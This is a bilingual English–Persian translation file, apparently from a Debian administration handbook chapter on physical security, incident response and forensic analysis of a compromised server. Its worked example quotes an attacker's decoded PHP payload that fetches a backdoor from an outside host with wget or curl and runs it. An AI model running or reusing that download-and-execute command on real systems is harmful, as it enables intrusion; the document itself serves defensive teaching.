fa-IR: پاسخ به این خطرات می‌تواند شامل راهکارهای فنی باشد: به هیچ کاربری نباید بیش از اندازه نیازش مجوز دسترسی داد و نگهداری از فایل‌های پشتیبان یک ضرورت به حساب می‌آیند. اما در بسیاری موارد، محافظت در برار این خطرات با آموزش کاربران صورت می‌گیرد.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
fa-IR: <emphasis>نگاه سریع</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
fa-IR: بسته <emphasis role="pkg">autolog</emphasis> شامل برنامه‌ای است که ارتباط کاربران غیرفعال را پس از یک بازه مشخص شده قطع می‌کند. همچنین می‌تواند فرآیندهای کاربر را پس از اتمام زمان کاری ایشان از بین ببرد، که اینکار از اجرای فرآیندهای پس‌زمینه کاربران پیشگیری می‌کند.

en: Physical Security
fa-IR: امنیت فیزیکی

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
fa-IR: اگر از خود رایانه‌ها به صورت فیزیکی محافظت نگردد، دلیلی برای ایمن‌سازی سرویس‌ها و شبکه‌ها وجود ندارد. داده‌های مهم سزاوار این هستند که در هارد دیسک‌های how-swappable و به صورت آرایه‌های RAID ذخیره‌سازی شوند، چرا که هارد دیسک‌های معمولی در گذر زمان معبوب شده و موجودیت داده امری بسیار حیاتی است. اما اگر قرار باشد هر فردی بتواند وارد ساختمان شده، به اتاق سرور برود و با چندین هارد دیسک خارج گردد، قسمت مهمی از امنیت برقرار نشده است. چه کسی می‌تواند وارد اتاق سرور شود؟ آیا این دسترسی مانیتور می‌شود؟ زمانی که امنیت فیزیکی مورد بررسی و تحلیل قرار می‌گیرد، این پرسش‌ها باید مطرح شده و پاسخ داده شوند.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
fa-IR: امنیت فیزیکی همچنین شامل در نظر گرفتن خطراتی از قبیل آتش‌سوزی نیز می‌باشد. این خطر مشخص لزوم نگهداری رسانه پشتیبان در یک ساختمان دیگر را نشان می‌دهد، یا حداقل در یک صندوقچه ضد-آتش.

en: Legal Liability
fa-IR: مسئولیت قانونی

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
fa-IR: یک مدیر سیستم، کم و بیش، مورد اعتماد کاربران سیستم و کاربران شبکه به صورت عمومی‌تر قرار می‌گیرد. آن‌ها باید از هرگونه غفلت که ممکن است افراد بدخواه مورد استفاده قرار دهند، پیشگیری کنند.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
fa-IR: زمانی که این اتفاقات می‌افتد، بی‌گناه جلوه دادن خود کافی نیست؛ حداقل باید ثابت کنید که مجموعه فعالیت‌های مشکوکی از یک نشانی IP دیگر در سیستم شما انجام می‌شده است. اگر از توصیه‌های مطرح شده در این فصل چشم‌پوشی کرده باشید و به مهاجم اجازه ورود به سیستم و دسترسی به حساب کاربری مدیر (root در این مورد) را بدهید تا بتواند ردپای خود را بپوشاند، اینکار دیگر لزومی ندارد.

en: Dealing with a Compromised Machine
fa-IR: مواجهه با یک ماشین نفوذپذیر

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
fa-IR: برخلاف طراحی خوب یک خط مشی امنیتی، یک مدیر سیستم معمولا با یک عمل hijacking مواجه می‌شود. این قسمت به بررسی مواردی می‌پردازد که در مواجهه با چنین شرایط نامطلوبی باید مد نظر قرار گرفته شوند.

en: Detecting and Seeing the Cracker's Intrusion
fa-IR: شناسایی و مشاهده نفوذ خرابکار

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
fa-IR: اولین گام در مواجهه با یک نفوذ، شناسایی چنین اقدامی است. اینکار به راحتی صورت نمی‌پذیرد، به خصوص اگر زیرساخت مناسب مانیتورینگ موجود نباشد.

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
fa-IR: برنامه‌ای که در <filename>/var/tmp/</filename> نصب شده و به عنوان سرور وب کار می‌کند؟ بدون شک، ماشین مورد نفوذ قرار گرفته است.

en: This is only one example, but many other hints can ring the administrator's bell:
fa-IR: این تنها یک مثال بود، اما شواهد بسیاری وجود دارد که می‌تواند برای مدیر سیستم هشدار دهنده باشد:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
fa-IR: یک گزینه برای دستوری که هم اکنون کار نمی‌کند؛ نسخه نرم‌افزاری که دستور ادعای آن را می‌کند با نسخه‌ای که از <command>dpkg</command> پرس و جو شده است سازگاری ندارد؛

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
fa-IR: یک خط فرمان یا پیام خوش‌آمدگویی که بیان می‌کند آخرین ارتباط برقرار شده از یک قاره دیگر بوده است؛

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
fa-IR: خطاهایی که از پر شدن پارتیشن <filename>/tmp/</filename> به دلیل وجود نسخه‌های غیرقانونی از فیلم‌های مختلف تولید شده است؛

en: and so on.
fa-IR: و از این قبیل.

en: Putting the Server Off-Line
fa-IR: خاموش کردن سرور

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
fa-IR: در اکثر موارد، مهاجم از طریق یک شبکه به ماشین نفوذ کرده است و برای ادامه نفوذ خود به یک شبکه فعال نیاز دارد (به منظور دسترسی به داده‌های محرمانه، اشتراک‌گذاری فایل‌های غیرقانونی، پنهان‌سازی هویت خود با تبدیل ماشین به یک relay و از این قبیل). قطع ارتباط فیزیکی رایانه با شبکه از دسترسی بیشتر مهاجم به سیستم‌های هدف پیشگیری می‌کند، اگر تاکنون به این مهم دست نیافته باشد.

en: Keeping Everything that Could Be Used as Evidence
fa-IR: نگهداری هر آنچه که می‌تواند به عنوان مدرک استفاده شود

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
fa-IR: درک حمله و/یا اقدامات قانونی مقابل مهاجمین نیازمند نسخه‌برداری از مهم‌ترین عناصر حمله می‌باشد؛ این فهرست شامل محتوای هارد دیسک، فهرستی از تمام فرآیندهای اجرایی و فهرستی از تمام ارتباطات باز می‌باشد. از محتوای موجود در RAM نیز می‌توان استفاده کرد ولی به ندرت در دنیای واقعی کاربرد دارد.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
fa-IR: در زمان وقوع حادثه، مدیر سیستم‌ها اغلب وسوسه می‌شند که بررسی‌های بسیاری را روی ماشین نفوذی انجام دهند؛ اینکار معمولا ایده خوبی نیست. هر دستوری که اجرا می‌شود به احتمال زیاد دستکاری شده است و ممکن است بخشی از شواهد را از بین ببرد. این بررسی‌ها باید محدود به مجموعه کوچکی شوند (<command>netstat -tupan</command> برای ارتباطات شبکه، <command>ps auxf</command> برای فهرستی از فرآیندها و <command>ls -alR /proc/[0-9]*</command> برای اطلاعات بیشتر در مورد برنامه‌های در حال اجرا) و هرگونه بررسی انجام شده باید یادداشت گردد.

en: <emphasis>CAUTION</emphasis> Hot analysis
fa-IR: <emphasis>احتیاط</emphasis> بررسی و تحلیل داغ

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
fa-IR: اگر هنوز نیاز به چنین بررسی و تحلیلی باشد، باید احتیاط کرد که تنها از برنامه‌های شناخته شده استفاده کنیم. یک روش خود استفاده از دیسک نجاتی است که شامل برنامه‌های تر و تازه باشد، یا یک اشتراک شبکه فقط خواندنی. با این حال، حتی این اقدامات نیز در صورت نفوذ به کرنل بی‌فایده خواهند بود.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
fa-IR: زمانی که این عنصرهای ... ذخیره‌سازی شوند، گام بعدی ذخیره‌سازی یک تصویر کامل از هارد-دیسک است. ایجاد چنین تصویری در صورت تغییر اندازه فایل سیستم غیرممکن است، به همین دلیل است که ابتدا باید به صورت فقط-خواندنی متصل گردد. ساده‌ترین راهکار توقف اجباری سرور (پس از اجرای <command>sync</command>) و اجرای مجدد آن روی یک دیسک نجات است. هر پارتیشن باید با ابزاری مانند <command>dd</command> رونوشت گرفته شود؛ این تصاویر می‌توانند به سرور دیگری فرستاده شوند (احتمالا با ابزار <command>nc</command>). احتمال دیگر حتی از این نیز ساده‌تر است: تنها کافی است دیسک را از ماشین خارج کرده و با یک دیسک جدید جایگزین کنیم تا بتوان عملیات فرمت‌دهی و نصب مجدد را انجام داد.

en: Re-installing
fa-IR: نصب مجدد

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
fa-IR: قبل از اجرای نصب مجدد، سرور نباید به حالت آنلاین بازگردد. اگر نفوذ در بالاترین سطح اتفاق افتاده باشد (یعنی تمام دسترسی‌های مدیریتی) تقریبا هیچ راهی وجود ندارد تا اطمینان یابیم مهاجم چه ابزارهایی را در سرور باقی گذاشته است (به طور مشخص <emphasis>backdoor</emphasis>). البته، تمام بروزرسانی‌های امنیتی اخیر نیز به منظور مقابله با آسیب‌پذیری که مهاجم از آن سواستفاده کرده است باید انجام شوند. ایده‌آل است که بررسی و تحلیل حمله به این عامل مهم توجه کند، تا بتوان آن را در ادامه برطرف نمود؛ در غیر اینصورت، باید امیدوار باشیم که این آسیب‌پذیری یکی از همان مواردی بوده است که توسط بروزرسانی امنیتی برطرف شده است.

en: Forensic Analysis
fa-IR: بررسی و تحلیل قضایی

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
fa-IR: اکنون که سرویس‌ها به حالت قبلی خود بازگشته‌اند، زمان آن فرا رسیده است که نگاهی عمیق‌تر به تصاویر ذخیره شده از دیسک‌های مورد نفوذ قرار گرفته شده بیندازیم تا عامل حمله را بهتر درک کنیم. زمانی که قصد استفاده از این تصاویر را داریم، باید احتیاط کرد که تنها از گزینه‌های <literal>ro,nodev,noexec,noatime</literal> به منظور پیشگیری از دستکاری محتوای دیسک (از جمله زمان دسترسی به فایل‌ها) یا اجرایی اشتباهی برنامه‌ها استفاده کنیم.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
fa-IR: پیگیری یک سناریوی حمله معمولا شامل جستجو برای هر آنچه تغییر یافته یا اجرا شده است می‌باشد:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
fa-IR: فایل‌های <filename>.bash_history</filename> اغلب اطلاعات مفیدی را فراهم می‌کنند؛

en: so does listing files that were recently created, modified or accessed;
fa-IR: به همین صورت فهرست فایل‌هایی که اخیرا ایجاد، تغییر یا دسترسی یافته‌اند؛

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
fa-IR: دستور <command>strings</command>، با استخراج رشته‌های متنی از یک فایل باینری، به شناسایی برنامه‌های نصب شده توسط مهاجم کمک می‌کند؛

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
fa-IR: فایل‌های گزارش موجود در <filename>/var/log/</filename> اغلب ساختار زمانی و ترتیب اجرای وقایع را شرح می‌دهند؛

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
fa-IR: ابزارهای خاص-منظوره همچنین امکان بازیابی محتوای فایل‌های حذف شده را فراهم می‌کنند، از جمله فایل‌های گزارشی که مهاجم آن‌ها را پاک کرده است.

en: Reconstituting the Attack Scenario
fa-IR: بازسازی سناریوی حمله

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
fa-IR: تمام عنصرهای جمع‌آوری شده حین بررسی و تحلیل باید به صورت قطعه‌های یک پازل کنار یکدیگر قرار گیرند؛ ایجاد اولین فایل‌ها مشکوک اغلب مرتبط با گزارش‌های مربوط به نفوذ می‌باشد. یک مثال واقعی می‌تواند منظور را بهتر از مفاهیم نظری طولانی منتقل کند.

en: The following log is an extract from an Apache <filename>access.log</filename>:
fa-IR: گزارش پیش رو از یک فایل <filename>access.log</filename> آپاچی استخراج شده است:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
fa-IR: رمزگشایی این نشانی طولانی باعث می‌شود درک بهتری از قصد مهاجم از اجرای کد PHP را داشته باشیم که برابر است با: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. در حقیقت، یک فایل <filename>bd</filename> در <filename>/tmp/</filename> پیدا شده است. اجرای <command>strings /mnt/tmp/bd</command> در میان سایر رشته‌ها عبارت <literal>PsychoPhobia Backdoor is starting...</literal> را باز می‌گرداند. این ابزار شباهت زیادی به یک backdoor دارد.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
fa-IR: در زمان دیگری، از این دسترسی به منظور دانلود، نصب و اجرای یک <emphasis>bot</emphasis> از نوع IRC که به یک شبکه زیرزمینی متصل شده بود، استفاده می‌شد. این ربات از طریق این پروتکل قابل کنترل بود که باعث می‌شد بتواند فایل‌های گوناگونی را به منظور اشتراک‌گذاری دانلود کند. این برنامه حتی فایل گزارش مخصوص به خود را دارد:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
fa-IR: این فایل نشان می‌دهد که دو فایل ویدیویی با استفاده از نشانی IP 82.50.72.202 روی سرور ذخیره‌سازی شده‌اند.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
fa-IR: به صورت موازی، مهاجم اقدام به دانلود چند فایل اضافی کرده است، <filename>/tmp/pt</filename> و <filename>/tmp/loginx</filename>. اجرای <command>strings</command> روی این دو برنامه عبارت‌های <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> و <foreignphrase>Now wait for suid shell...</foreignphrase> را باز می‌گرداند. این‌ها مانند برنامه‌هایی هستند که با استفاده از آسیب‌پذیری‌های محلی قصد اتخاذ دسترسی‌های سطح بالاتر را دارند. آیا به هدف خود رسیده‌اند؟ در این مورد، احتمالا خیر، چرا که پس از نفوذ اولیه به سیستم هیچ فایل دیگری تغییر نیافته است.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
fa-IR: در این مثال، تمام حمله بازسازی شده است و می‌توان نتیجه گرفت که مهاجم به مدت سه روز کنترل سیستم را در دست داشته است؛ اما مهم‌ترین عنصر در این حمله آن است که آسیب‌پذیری شناسایی شده است و مدیر سیستم می‌تواند اطمینان یابد که با نصب بروزرسانی امنیتی آن را برطرف کرده است.
